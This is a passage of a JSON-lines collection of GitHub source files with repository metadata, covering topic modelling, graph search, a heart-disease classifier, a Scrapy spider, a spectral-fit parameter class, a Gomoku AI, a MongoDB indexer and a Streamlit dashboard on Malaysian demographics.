\"5KCWAs1wX2ESiL4PfDR8XYVSSETHFd2jaRGxt1QdanBFTit4XcH\")\n\n if os.path.exists(datadir + '/database'):\n if os.path.isdir(datadir + '/database'):\n shutil.rmtree(datadir + '/database')\n\n if os.path.exists(datadir + '/db.log'):\n os.remove(datadir + '/db.log')\n sys.exit(0)","repo_name":"PirateNetwork/pirate","sub_path":"src/test/wallet-utility.py","file_name":"wallet-utility.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","stars":95,"dataset":"github-code","pt":"30"} +{"seq_id":"20694668304","text":"# -*- coding: utf8 -*-\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.decomposition import LatentDirichletAllocation\nimport numpy as np\nimport re\nimport matplotlib.pyplot as plt\nfrom wordcloud import WordCloud\nimport random\nimport gensim\nimport logging\nimport pickle\nfrom sklearn.model_selection import GridSearchCV\n\n\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\nncrl_model = 'ruscorpora_upos_skipgram_300_5_2018.vec'\nncrl_model = gensim.models.KeyedVectors.load_word2vec_format(ncrl_model, binary=False)\nncrl_model.init_sims(replace=True)\n\n\ndef display_topics(model, feature_names, no_top_words, n_topics):\n \"\"\"Displays all topics' top-words and semdensity per topic\"\"\"\n all_topics_topwords_similarity = list()\n no_top_words_for_semantics = 10\n for topic_idx, topic in enumerate(model.components_):\n print(\"Topic {}:\".format(topic_idx))\n print(\", \".join([feature_names[i]\n for i in topic.argsort()[:-no_top_words - 1:-1]]))\n\n\ndef grey_color_func(word, font_size, position, orientation, random_state=None,\n **kwargs):\n \"\"\"Establishes colour range for word-clouds\"\"\"\n return \"hsl(0, 0%%, %d%%)\" % random.randint(0, 30)\n\n\ndef display_wordclouds(model, feature_names, no_top_words, n_topics):\n \"\"\"Displays word-clouds for n topics' top-words\"\"\"\n top_words_weight_dicts = list()\n for topic_idx, topic in enumerate(model.components_):\n top_words_weight_dict = dict()\n for i in topic.argsort()[:-no_top_words - 1:-1]:\n top_words_weight_dict[feature_names[i]] = model.components_[topic_idx][i]\n top_words_weight_dicts.append(top_words_weight_dict)\n for t in range(n_topics):\n plt.figure()\n plt.imshow(WordCloud(background_color='white', color_func=grey_color_func).fit_words(top_words_weight_dicts[t]))\n plt.axis(\"off\")\n plt.title(\"Topic #\" + str(t))\n plt.show()\n\n# Opening a stop-words list for Russian\nstopwords_ru = open('./stopwords_and_others/stop_ru.txt', 'r', encoding='utf-8').read().split('\\n')\n\n# Loading a dictionary with plays metadata, texts and preprocessed texts\nwith open('./plays_data.pickle', 'rb') as f:\n plays_data = pickle.load(f)\n\ntrain_documents_in_nouns = list()\ntrain_documents_titles = list()\n\n# Splitting train texts into word-chunks\nn = 0\nk = 0\nchunk_size = 500\nmin_chunk_size = 100\nfor play in plays_data:\n train_documents_titles.append(play)\n doc_text = re.sub('[\\.,!\\?\\(\\)\\-:;—…́«»–]', '', plays_data[play]['nouns']).split()\n for i in range(0, len(doc_text), chunk_size):\n one_chunk = ' '.join(doc_text[i:i + chunk_size])\n if len(one_chunk.split()) > min_chunk_size:\n train_documents_in_nouns.append(one_chunk)\n if min_chunk_size < len(one_chunk.split()) < chunk_size:\n k += 1\n if len(one_chunk.split()) < min_chunk_size:\n n += 1\nprint('Taking chunks of length {0} WORDS'.format(chunk_size))\nprint('Chunks with length less than {0} (did not take):'.format(min_chunk_size), n)\nprint('Chunks with length more than {0} and less than {1} (took):'.format(min_chunk_size, chunk_size), k)\n\n\n# Reporting statistics on the model\nprint('\\nTopic modeling train text collection size: ', len(train_documents_in_nouns))\nprint('Median length of train collection\\'s documents: ', np.median([len(d.split()) for d in train_documents_in_nouns]))\nprint('Mean length of train collection\\'s documents: ', np.mean([len(d.split()) for d in train_documents_in_nouns]))\nprint('Minimum length of train collection\\'s documents: ', np.min([len(d.split()) for d in train_documents_in_nouns]))\nprint('Maximum length of train collection\\'s documents: ', np.max([len(d.split()) for d in train_documents_in_nouns]))\n\nwrite_semdensity = open('./semdinsity_info_nouns_500.csv', 'w', encoding='utf-8')\nwrite_semdensity.write('numtopics;average_topic_semdensity_for_10_topwords;model\\n')\n\n\ndef run_TM(doprint):\n \"\"\"Performs Topic Modeling, present topics and return/print/write in a file model's application results\"\"\"\n no_top_words = 40\n\n tf_vectorizer = CountVectorizer(max_df=0.7,\n min_df=0.2,\n stop_words=stopwords_ru,\n max_features=500)\n tf = tf_vectorizer.fit_transform(train_documents_in_nouns)\n tf_feature_names = tf_vectorizer.get_feature_names()\n\n search_params = {'n_components': [3, 4, 5, 6, 7, 8, 9, 10, 15, 20, 25, 30], 'learning_decay': [.5, .7, .9]}\n\n lda = LatentDirichletAllocation()\n # lda_doc_topic = lda.fit_transform(tf)\n\n model = GridSearchCV(lda, param_grid=search_params)\n\n model.fit(tf)\n\n GridSearchCV(cv=None, error_score='raise',\n estimator=LatentDirichletAllocation(batch_size=128, doc_topic_prior=None,\n evaluate_every=-1, learning_decay=0.7, learning_method=None,\n learning_offset=10.0, max_doc_update_iter=100, max_iter=10,\n mean_change_tol=0.001, n_components=10, n_jobs=1,\n n_topics=None, perp_tol=0.1, random_state=42,\n topic_word_prior=None, total_samples=1000000.0, verbose=0),\n fit_params=None, iid=True, n_jobs=1,\n param_grid={'n_topics': [10, 15, 20, 25, 30], 'learning_decay': [0.5, 0.7, 0.9]},\n pre_dispatch='2*n_jobs', refit=True, return_train_score='warn',\n scoring=None, verbose=0)\n\n # Best Model\n best_lda_model = model.best_estimator_\n\n # Model Parameters\n print(\"Best Model's Params: \", model.best_params_)\n\n # Log Likelihood Score\n print(\"Best Log Likelihood Score: \", model.best_score_)\n\n # Perplexity\n print(\"Model Perplexity: \", best_lda_model.perplexity(tf))\n\n\n'''\n # Printing topics' 40 top-words, printing topics', semdensity oer topic,\n # displaying word-clouds for 100 topics' top-words if needed\n if doprint:\n print('LDA doc-topic shape:', lda_doc_topic.shape)\n print('\\nTOPICS\\nLDA top terms:')\n display_topics(lda, tf_feature_names, no_top_words, n_topics)\n print('\\n\\n')\n # display_wordclouds(lda, tf_feature_names, 100, n_topics)\n'''\n\n\n# Running topic modeling task to build a model with 5 topics\nrun_TM(1)","repo_name":"IraPS/RusDraCor_TopicModeling_v2","sub_path":"BestModelGridSearch.py","file_name":"BestModelGridSearch.py","file_ext":"py","file_size_in_byte":6259,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"19191905275","text":"class Node: \n def __init__(self, id, distance, priority): \n self.id = id\n self.distance = distance\n self.priority = priority\n\n def __str__(self):\n return \"{} - {} - {}\".format(self.id, self.distance, self.priority)\n \n\nsample_graph = [[[0, 1], 10], \n [[1, 2], 4], \n [[0, 2], 5], \n [[0, 3], 1], \n [[2, 5], 6], \n [[1, 4], 19], \n [[1, 6], 2], \n [[4, 8], 7], \n [[5, 7], 9], \n [[4, 7], 11], \n [[2, 4], 8], \n [[4, 5], 8]]\n\nsample_priority = [0, 1, 0, 0, 7, 3, 0, 4, 3]\nsample_dest = [1, 4, 5, 7, 8]\n\ngraph = []\n\nimport queue \n\nMAX = 100 \nINF = int(1e9)\n\ndef Dijkstra(s): \n\n # Create a priority queue to store vertex and cost value \n # of unchecked vertexes but connected to current vertex\n # follow by (x, y) where x is vertex and y is cost\n pq = queue.Queue()\n\n # Start from source \n pq.put(Node(s, 0, 0))\n dist[s] = 0\n\n while pq.empty() == False: \n top = pq.get()\n u = top.id # vertex\n w = top.distance # cost\n pr = top.priority\n\n for neighbor in graph[u]: \n # Comparation\n if w + neighbor.distance - neighbor.priority < dist[neighbor.id]: \n dist[neighbor.id] = w + neighbor.distance - neighbor.priority\n pq.put(Node(neighbor.id, dist[neighbor.id], neighbor.priority))\n path[neighbor.id] = u\n\n# Print path method without recursion\ndef printPath(s, f): \n finalPath = []\n b = []\n if s == f: \n print(s)\n return \n\n if path[f] == -1: \n print(\"No path\")\n return \n\n while True: \n b.append(f)\n f = path[f]\n if f == s: \n b.append(s)\n break \n\n for i in range(len(b)-1, -1, -1): \n print(b[i], end= ' ')\n finalPath.append(b[i])\n\n return finalPath\n\n\ndef calcutePriority(s, f): \n pathCost = printPath(s, f)\n sumPriority = 0\n for i in pathCost: \n sumPriority += sample_priority[i]\n return sumPriority\n\n\nif __name__ == '__main__': \n n = len(sample_priority)\n # n + 5 is to ensure capicity \n graph = [[] for i in range(n + 5)]\n\n dist = [INF for i in range(n + 5)]\n path = [-1 for i in range(n + 5)]\n\n\n for i in range(len(sample_graph)): \n curr_node = sample_graph[i]\n source, dest = curr_node[0][0], curr_node[0][1]\n distance = curr_node[1]\n priority_source = sample_priority[source]\n priority_dest = sample_priority[dest]\n\n graph[source].append(Node(dest, distance, priority_dest))\n graph[dest].append(Node(source, distance, priority_dest))\n\n # for i in graph: \n # for j in i: \n # print(j)\n \n Dijkstra(0)\n for i in sample_dest: \n printPath(0, i)\n print(\"|| dist: {} - cost: {}\".format(dist[i], calcutePriority(0, i)))\n print()\n # print(i, dist[i])\n # print(ans)\n\n\n\n","repo_name":"chrislevn/Coding-Challenges","sub_path":"GraphPriority.py","file_name":"GraphPriority.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"71899936085","text":"def heart_model(input_data):\n import numpy as np\n import pandas as pd\n from sklearn.model_selection import train_test_split\n from sklearn.linear_model import LogisticRegression\n import warnings\n warnings.filterwarnings(\"ignore\")\n \n # loading the csv data to a Pandas DataFrame\n heart_data = pd.read_csv('src/heart/pythonModel/heart.csv')\n \n X = heart_data.drop(columns='target', axis=1)\n Y = heart_data['target']\n \n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2, stratify=Y, random_state=2)\n \n model = LogisticRegression()\n \n # training the LogisticRegression model with Training data\n model.fit(X_train, Y_train)\n \n # change the input data to a numpy array\n input_data_as_numpy_array= np.asarray(input_data)\n\n # reshape the numpy array as we are predicting for only on instance\n input_data_reshaped = input_data_as_numpy_array.reshape(1,-1)\n\n prediction = model.predict(input_data_reshaped)\n\n# if (prediction[0]== 0):\n# text='The Person does not have a Heart Disease'\n# else:\n# text='The Person has Heart Disease'\n# print(text) \n return prediction[0] \n \n\nimport sys\nimport json\nif __name__ == \"__main__\":\n X=json.loads(sys.argv[1])\n Primary_key=X[0]\n y=heart_model(X)\n print(y)","repo_name":"hanzala-bhutto/React-Express-MultiDiseasePrediction","sub_path":"Nest_API/src/heart/pythonModel/Heart.py","file_name":"Heart.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"19846516684","text":"# 아스키 코드 : 7 비트\n# 26개의 대/소문자, 10개의 숫자, 공백문자, 비인쇄 제어코드(널, 백스페이스 등)\n\n# 유니코드 : 전 세계 언어의 문자를 정의하기 위한 국제 표준 코드 (8비트) 2^8 = 256 평면\ndef unicode_test(value):\n import unicodedata\n name = unicodedata.name(value) # name() : 유니코드 문자를 받아 대문자 이름을 반환\n value2 = unicodedata.lookup(name) # lookup() : 대/소문자 구분하지 않는 인자를 받아 유니코드 문자 반환\n print('value=%s, name=%s, value2=%s'% (value, name, value2))\n\nunicode_test('A') # 결과 : value=A, name=LATIN CAPITAL LETTER A, value2=A\n# 유니코드 통화 문자\nunicode_test('\\u00a2') # 결과 : value=¢, name=CENT SIGN, value2=¢\n\n# 유니코드 인코딩하기\nimport unicodedata\nplace = 'café' # e의 index : 00E9\nprint(unicodedata.name('\\u00e9')) # 출력 : LATIN SMALL LETTER E WITH ACUTE\n# 유니코드 인덱스 사이트에선 \"E WITH ACUTE, LATIN SMALL LETTER\" 라고 되어있는데\n# 콤마 지우면서 서로 순서를 바꿔서 써줘야함!\nprint(unicodedata.lookup(\"LATIN SMALL LETTER E WITH ACUTE\")) # 출력 : é\n\nprint('caf\\u00e9')\nprint('caf\\N{LATIN SMALL LETTER E WITH ACUTE}')\n# 출력 : café","repo_name":"Develope-my-tech/Python-Basic","sub_path":"Data/1. unicode.py","file_name":"1. unicode.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"17578201013","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 24 17:47:20 2019\n\n@author: mqbpwbe2\n\"\"\"\nimport copy\nimport numpy as np\nfrom collections import OrderedDict\n\n#==============================================================================\n#================================= Parameters =================================\n#==============================================================================\n\nclass Parameters(OrderedDict):\n '''\n An ordered dictionary of all the Paramter objects that will be included in\n the forward model. Each Parameter has a single entry with a string label,\n value and boolian control on whether it is varied in the fit.\n\n Based on the Parameters class of lmfit.\n '''\n\n def __init__(self, *args, **kwargs):\n\n self.update(*args, **kwargs)\n\n def add(self, name, value=0, vary=True, xpath=None, lo_bound=-np.inf, \n hi_bound=np.inf):\n '''\n Method to add a Parameter to the Parameters object.\n\n **Parameters**\n\n name : str\n Identifier string for the parameter. Each must be unique\n\n value : float\n The initial numerical parameter value\n\n vary : bool, optional\n If True then the parameter is fitted. Otherwise it is fixed to its\n value\n '''\n\n self.__setitem__(name, Parameter(name = name,\n value = value,\n vary = vary,\n xpath = xpath,\n lo_bound = lo_bound,\n hi_bound = hi_bound))\n\n def add_many(self, param_list):\n '''\n Method to add multiple Parameters to the Parameters object.\n\n **Parameters**\n\n param_list : list of Parameter like objects\n '''\n\n for param in param_list:\n\n self.__setitem__(param.name, param)\n\n\n def update_values(self, new_values):\n '''\n Updates the values of each Parameter in order\n '''\n n = 0\n for name in self:\n if self[name].vary:\n self[name].set(value = new_values[n])\n n += 1\n\n\n def valuesdict(self):\n '''Return an ordered dictionary of all parameter values'''\n return OrderedDict((p.name, p.value) for p in self.values())\n\n\n def fittedvaluesdict(self):\n '''Return an ordered dictionary of fitted parameter values'''\n return OrderedDict((p.name, p.value) for p in self.values() if p.vary)\n\n\n def popt_dict(self):\n ''''Return a dictionary of the optimised parameters'''\n return OrderedDict((p.name, p.fit_val) for p in self.values() if p.vary)\n\n\n def valueslist(self):\n '''Return a list of all parameter values'''\n return [(p.value) for p in self.values()]\n\n\n def fittedvalueslist(self):\n '''Return a list of the fitted parameter values'''\n return [(p.value) for p in self.values() if p.vary]\n\n\n def popt_list(self):\n '''Return a list of the optimised parameters'''\n return [(p.fit_val) for p in self.values() if p.vary]\n \n def bounds(self):\n '''Return a list of the low and high bounds'''\n return [[(p.lo_bound) for p in self.values() if p.vary],\n [(p.hi_bound) for p in self.values() if p.vary]]\n\n def make_copy(self):\n '''Returns a deep copy of the Parameters object'''\n return copy.deepcopy(self)\n\n\n def pretty_print(self, mincolwidth=10, precision=4, cols='basic'):\n '''\n Print the parameters in a nice way\n\n **Parameters**\n\n mincolwidth : int, optional, default = 10\n Minimum width of the columns.\n\n precision : int, optional, default = 4\n Number of significant figures to print to\n\n cols : str or list\n The columns to be printed. Either \"all\" for all columns, \"basic\" \n for the name, value and if it is fixed or a list\n of the desired column names\n\n **Returns**\n\n msg : str\n The formatted message to print\n '''\n\n # Check colwidth isn't less than 7\n if mincolwidth <= 7:\n mincolwidth = 7\n\n # Make list of columns\n if cols == 'all': \n cols = ['name', 'value', 'vary', 'fit_val', 'fit_err']\n \n if cols == 'basic':\n cols = ['name', 'value', 'vary']\n\n colwidth = [mincolwidth] * (len(cols))\n\n if 'name' in cols:\n i = cols.index('name')\n colwidth[i] = max([len(name) for name in self]) + 2\n\n if 'value' in cols:\n i = cols.index('value')\n colwidth[i] = max([len(f'{p.value:.{precision}g}') \\\n for p in self.values()]) + 2\n\n if 'vary' in cols:\n i = cols.index('vary')\n colwidth[i] = mincolwidth\n\n if 'fit_val' in cols:\n i = cols.index('fit_val')\n colwidth[i] = max([len(f'{p.fit_val:.{precision}g}') \\\n for p in self.values()]) + 2\n\n if 'fit_err' in cols:\n i = cols.index('fit_err')\n colwidth[i] = max([len(f'{p.fit_err:.{precision}g}') \\\n for p in self.values()]) + 2\n\n for n, w in enumerate(colwidth):\n if w < mincolwidth:\n colwidth[n] = mincolwidth\n\n title = ''\n for n, c in enumerate(cols):\n title += f'|{c:^{colwidth[n]}}'\n title += '|'\n\n msg = f'\\n{\"MODEL PARAMETERS\":^{len(title)}}\\n{title}\\n' + \\\n f'{\"-\"*len(title)}\\n'\n\n for name, p in self.items():\n val = f'{p.value:.{precision}g}'\n fval = f'{p.fit_val:.{precision}g}'\n ferr = f'{p.fit_err:.{precision}g}'\n # lo_b = f'{p.lo_bound:.{precision}g}'\n # hi_b = f'{p.hi_bound:.{precision}g}'\n\n if p.vary: var = 'True'\n else: var = 'False'\n\n if 'name' in cols:\n msg += f'|{name:^{colwidth[cols.index(\"name\")]}}'\n if 'value' in cols:\n msg += f'|{val:^{colwidth[cols.index(\"value\")]}}'\n if 'vary' in cols:\n msg += f'|{var:^{colwidth[cols.index(\"vary\")]}}'\n # if 'lo_bound' in cols:\n # msg += f'|{lo_b:^{colwidth[cols.index(\"lo_bound\")]}}'\n # if 'hi_bound' in cols:\n # msg += f'|{hi_b:^{colwidth[cols.index(\"hi_bound\")]}}'\n if 'fit_val' in cols:\n msg += f'|{fval:^{colwidth[cols.index(\"fit_val\")]}}'\n if 'fit_err' in cols:\n msg += f'|{ferr:^{colwidth[cols.index(\"fit_err\")]}}'\n\n msg += '|\\n'\n\n return(msg)\n\n#==============================================================================\n#================================= Parameter ==================================\n#==============================================================================\n\nclass Parameter(object):\n '''\n A parameter is a value that can be varied in the fit\n\n Each parameter has an assosiated name and value and can be set to either\n vary or be fixed in the model\n\n Based on the Parameter class of lmfit.\n\n **Parameters**\n\n name : str\n Identifier string for the parameter. Each must be unique\n\n value : float\n The initial numerical parameter value\n\n vary : bool, optional\n If True then the parameter is fitted. Otherwise it is fixed to its\n value\n \n xpath : str, optional\n The file path to the cross-section for this parameter\n '''\n\n def __init__(self, name, value, vary=True, xpath=None, lo_bound=-np.inf, \n hi_bound=np.inf, fit_val=np.nan, fit_err=np.nan):\n\n self.name = name\n self.value = value\n self.vary = vary\n self.xpath = xpath\n self.lo_bound = lo_bound\n self.hi_bound = hi_bound\n self.fit_val = fit_val\n self.fit_err = fit_err\n\n def set(self, value=None, vary=None, xpath=None, lo_bound=None, \n hi_bound=None, fit_val=None, fit_err=None):\n '''Update the properties of a Parameter. All are None by default'''\n\n if value is not None:\n self.value = value\n\n if vary is not None:\n self.vary = vary\n\n if xpath is not None:\n self.xpath = xpath \n\n if lo_bound is not None:\n self.lo_bound = lo_bound\n\n if hi_bound is not None:\n self.hi_bound = hi_bound\n\n if fit_val is not None:\n self.fit_val = fit_val\n\n if fit_err is not None:\n self.fit_err = fit_err","repo_name":"twVolc/PyCamPermanent","sub_path":"pycam/ifit_ld/ifit/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":8697,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"1306404534","text":"import scrapy\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom scrapy.linkextractors import LinkExtractor\n\nclass AraniaCrawlOnu(CrawlSpider):\n name = 'crawl_libros' # Heredado (conservar nombre)\n \n allowed_domains = [ # Heredado (conservar nombre)\n 'http://books.toscrape.com/'\n ]\n start_urls = [ # Heredado (conservar nombre)\n 'https://www.un.org/en/sections/about-un/funds-programmes-specialized-agencies-and-others/index.html'\n ]\n # Heredado (conservar nombre)\n\n regla_uno = (\n Rule(LinkExtractor(), callback='parse_page')\n ,\n )\n\n url_segmento_permitido = (\n '/catalogue/category/books/mystery_3/',\n '/catalogue/category/books/fantasy_19/' \n )\n\n url_segmento_restringido = (\n \n )\n\n regla_dos = (\n Rule(\n LinkExtractor(\n allow_domains=allowed_domains,\n allow=url_segmento_permitido\n ), callback='parse_page')\n ,\n )\n\n regla_tres = (\n Rule(\n LinkExtractor(\n allow_domains=allowed_domains,\n allow=url_segmento_permitido,\n deny=url_segmento_restringido\n ), callback='parse_page')\n ,\n )\n\n rules = regla_dos\n\n\n def parse_page(self, response):\n lista_programas = response.css('article.product_pod > h3 > a::attr(title)').extract()\n\n for agencia in lista_programas:\n with open('onu_agencias.txt', 'a+') as archivo:\n archivo.write(agencia + '\\n')\n","repo_name":"2019-a-gr1-python/py-alvarez-naranjo-miguel-esteban","sub_path":"05_Scrapy/02_Crowling/python__02_followLink/python_02/python_02/spiders/arania_libros.py","file_name":"arania_libros.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"73844464725","text":"# Go-Moku Project Imports\nimport time\nfrom mcts_utils import node, BackupValue, best_uct_child, FindSpotToExpand , rollout\nfrom gmAIgent import opening_star_points, best_sequence_moves, get_valid_moves\n\n\nclass gmPlayer_AI:\n \"\"\"This class specifies a player that just does random moves.\n The use of this class is two-fold: 1) You can use it as a base random roll-out policy.\n 2) it specifies the required methods that will be used by the competition to run\n your player\n \"\"\"\n\n def __init__(self, black_: bool = True):\n \"\"\"Constructor for the player.\"\"\"\n self.black = black_\n\n # O(1), this doesn't explanation\n def new_game(self, black_: bool):\n \"\"\" At the start of each new game you will be notified by the competition.\n this method has a boolean parameter that informs your agent whether you\n will play black or white.\n \"\"\"\n self.black = black_\n self.valid_moves = opening_star_points(5, bsize=19)\n self.cluster_moves = dict()\n self.opening_done = False\n self.pref_attack = True\n \n # O(n), We do a lot in this function, but the highest TimeComplexity is O(n)\n def move(self, state, last_move, max_time_to_move = 1000):\n \"\"\"This is the most important method: the agent will get:\n 1) the current state of the game\n 2) the last move by the opponent\n 3) the available moves you can play (this is a special service we provide ;-) )\n 4) the maximum time until the agent is required to make a move in milliseconds [diverging from this will lead to disqualification].\n \"\"\"\n start_time = time.time()\n\n me = 2 if self.black else 1\n enemy = 1 if self.black else 2\n \n if state[1] == 1:\n return get_valid_moves(state)[0]\n \n if self.valid_moves:\n if last_move in self.valid_moves:\n self.valid_moves.remove(last_move)\n \n # there is a chance the last item got removed out of the list a couple lines ago\n if not self.valid_moves: \n if not self.opening_done:\n self.opening_done = True\n \n if self.opening_done:\n self.valid_moves = get_valid_moves(state, True, 2, me)\n else:\n # if the self.prev_attack is True. The AI will always play a winning \n # node or prefer an attacking move over a defending move. \n # And if the self.prev_attack is False its the other way around.\n \n # By changing the values of the last parameter of the 'be...moves' function\n # .. you can kinda change how fierce the AI attacks or defends\n self.cluster_moves['defence'] = best_sequence_moves(state, enemy, 3)\n self.cluster_moves['attack'] = best_sequence_moves(state, me, 2)\n\n if self.opening_done:\n if self.pref_attack:\n if self.cluster_moves['attack']:\n self.valid_moves = self.cluster_moves['attack']\n elif self.cluster_moves['defence']:\n self.valid_moves = self.cluster_moves['defence']\n else:\n self.valid_moves = get_valid_moves(state, True, 2, me)\n else:\n if self.cluster_moves['defence']:\n self.valid_moves = self.cluster_moves['defence']\n elif self.cluster_moves['attack']:\n self.valid_moves = self.cluster_moves['attack']\n else:\n self.valid_moves = get_valid_moves(state, True, 2, me)\n \n n_root = node(state, None, last_move)\n n_root.valid_moves = self.valid_moves \n \n while ((time.time() - start_time) * 1000) < max_time_to_move: \n n_leaf = FindSpotToExpand(n_root)\n val = rollout(n_leaf)\n BackupValue(n_leaf, val)\n\n move = best_uct_child(n_root).init_move\n if move in self.valid_moves: \n self.valid_moves.remove(move)\n return move\n \n def id(self) -> str:\n \"\"\"Please return a string here that uniquely identifies your submission e.g., \"name (student_id)\" \"\"\"\n return \"Jort de Boer (1764801)\"\n ","repo_name":"Jordieboyz/ALDS_2022","sub_path":"Gomoku Eindopdracht/gmPlayer_AI.py","file_name":"gmPlayer_AI.py","file_ext":"py","file_size_in_byte":4339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"21348620840","text":"from pymongo import MongoClient\n\n\nclient = MongoClient('mongodb://db/myTestDB')\n\ndb = client.myTestDB\n\ncollection = db.test_collection\n\n\ndef index_to_database(message):\n try:\n collection.insert_one(message)\n except Exception as e:\n print(\"ERROR :\", e)\n","repo_name":"Emiliano-mazzzurque/challenge","sub_path":"backend.challenge/indexer/mongo.py","file_name":"mongo.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"71755510805","text":"import streamlit as st\nfrom population_map import populationMap\nfrom death_chart import deathChart\nfrom employed_chart import employmentChart\nfrom fertility_life_chart import fertilityLifeChart\nfrom birthrate_chart import birthRateChart\nfrom population_chart import populationChart\n\n# init\nif \"selectedState\" not in st.session_state:\n st.session_state.selectedState = \"Johor\"\nif \"showAll\" not in st.session_state:\n st.session_state.showAll = False\n\n# set page info\nst.set_page_config(\n page_title=\"Malaysia Population - Data Visualization\",\n page_icon=\"📊\",\n layout=\"wide\"\n)\n\n\ndef setAllOptions(widget, options):\n if len(widget) == 0:\n widget = options\n return widget\n\n\ndef clearState():\n st.session_state.selectedState = \"\"\n\n\ndef fromMapGetState():\n if st.session_state.showAll:\n clearState()\n elif st.session_state.popMap is not None:\n st.session_state.selectedState = st.session_state.popMap\n\n\ndef fromRadioGetState():\n st.write(st.session_state.radioState)\n if st.session_state.showAll:\n clearState()\n else:\n st.session_state.selectedState = st.session_state.radioState\n st.session_state.popMap = \"\"\n\n\nst.title(\"Malaysia Demographic\")\n\n# --------------------------------------------------------------------------\n# Filter options\n# --------------------------------------------------------------------------\nwith st.sidebar:\n st.title(\"Filters:\")\n # year range slider\n yearSliderLbl = \"Year\"\n selectedYear = st.slider(\n label=yearSliderLbl,\n min_value=1980,\n max_value=2020,\n key=\"year\",\n help=\"Please note that the availability of data for each graph may vary across different years.\",\n value=2018,\n )\n\n # state radio\n stateRadioLbl = \"State\"\n states = sorted([\"Johor\", \"Kedah\", \"Kelantan\", \"Melaka\", \"Negeri Sembilan\",\n \"Pulau Pinang\", \"Pahang\", \"Perak\", \"Perlis\", \"Sabah\", \"Sarawak\",\n \"Selangor\", \"Terengganu\", \"W.P. Kuala Lumpur\", \"W.P. Labuan\",\n \"W.P. Putrajaya\"])\n selectedState = st.radio(\n label=stateRadioLbl,\n options=states,\n key=\"radioState\",\n on_change=fromRadioGetState\n )\n# --------------------------------------------------------------------------\n\n\n# --------------------------------------------------------------------------\n# draw population state map\n# --------------------------------------------------------------------------\nprops = {\"year\": st.session_state.year} # message to be sent to js\nst.header(\"Population Distribution by States\")\nst.markdown(\"Filter by: **Year (1980 - 2020)**\")\nst.markdown(\"**Click** on the legend to display the state with a specific population density. Click again to deselect.\")\nst.markdown(\n \"**Hover** over the states to view detailed population distribution by ethnicity.\")\nst.markdown(\"**Click** on the state to view the death rate for a specific state.\")\niPopulationMap = populationMap(key=\"popMap\", **props)\nif iPopulationMap:\n fromMapGetState()\n# --------------------------------------------------------------------------\n\n# --------------------------------------------------------------------------\n# draw death rate bar chart\n# --------------------------------------------------------------------------\ncontainer = st.container()\nst.markdown(\n \"**Please be aware that records for Sabah are only available after 2015*\")\nst.markdown(\"Filter by: **Year (2001 - 2019)**, **State**\")\nst.markdown(\"**Hover** over the bars to view detailed death rate.\")\nshowAll = st.checkbox(\"Show all states\", value=False,\n key=\"showAll\", on_change=clearState)\nif st.session_state.selectedState:\n st.markdown(f\"Selected state: **{st.session_state.selectedState}**\")\nif st.session_state.year < 2001 or st.session_state.year > 2019:\n st.error(f\"No data found in year {st.session_state.year}\")\nprops = {\n \"year\": st.session_state.year,\n \"state\": st.session_state.selectedState\n}\ndeathChart(key=\"deathChart\", **props)\nif not st.session_state.deathChart is None:\n deathSectionHeader = f'

Age Group-Based Death Rates for Male & Female in Year {st.session_state.year}

'\n container.write(deathSectionHeader, unsafe_allow_html=True)\n\n# --------------------------------------------------------------------------\n\n\n# --------------------------------------------------------------------------\n# draw fertility rate vs life expectancy\n# --------------------------------------------------------------------------\nflSectionHeader = f\"Fertility Rate and Life Expectancy in Year {st.session_state.year}\"\nst.header(flSectionHeader)\nst.markdown(\"**Please note that in this graph W.P. Kuala Lumpur, W.P. Labuan & W.P Putrajaya are not counted as individual states.*\")\nst.markdown(\"Filter by: **Year (2012 - 2020)**\")\nst.markdown(\n \"**Click** on the legend to highlight the state. Click again to deselect.\")\nif st.session_state.year < 2012:\n st.error(f\"No data found in year {st.session_state.year}\")\nprops = {\n \"year\": st.session_state.year,\n \"state\": st.session_state.selectedState\n}\nfertilityLifeChart(key=\"fertilityLifeChart\", **props)\n# --------------------------------------------------------------------------\n\n# --------------------------------------------------------------------------\n# draw birthrate chart\n# --------------------------------------------------------------------------\nst.header(\"State Birthrates over Time\")\nst.markdown(\n \"**Please be aware that records for Sabah are only available after 2014*\")\nst.markdown(\"Filter by: **State**\")\nshowAllMul = st.checkbox(\"Show all states\", value=False,\n key=\"showAllMul\", on_change=clearState)\nprops = {\"state\": st.session_state.selectedState}\nbirthRateChart(key=\"birthRateChart\", **props)\n# --------------------------------------------------------------------------\n\n# --------------------------------------------------------------------------\n# draw population chart\n# --------------------------------------------------------------------------\nst.header(\"Population Growth over Time\")\n\n# st.markdown(\"Filter by: **State**\")\n# showAllMul = st.checkbox(\"Show all states\", value=False,\n# key=\"showAllMul\", on_change=clearState)\nprops = {\"state\": st.session_state.selectedState}\npopulationChart(key=\"populationChart\", **props)\n# --------------------------------------------------------------------------\n\n# --------------------------------------------------------------------------\n# draw employment population bubble chart\n# --------------------------------------------------------------------------\ncontainer = st.container()\nst.markdown(\"Filter by: **Year (2001 - 2020)**\")\nif st.session_state.year < 2001:\n st.error(f\"No data found in year {st.session_state.year}\")\nprops = {\"year\": 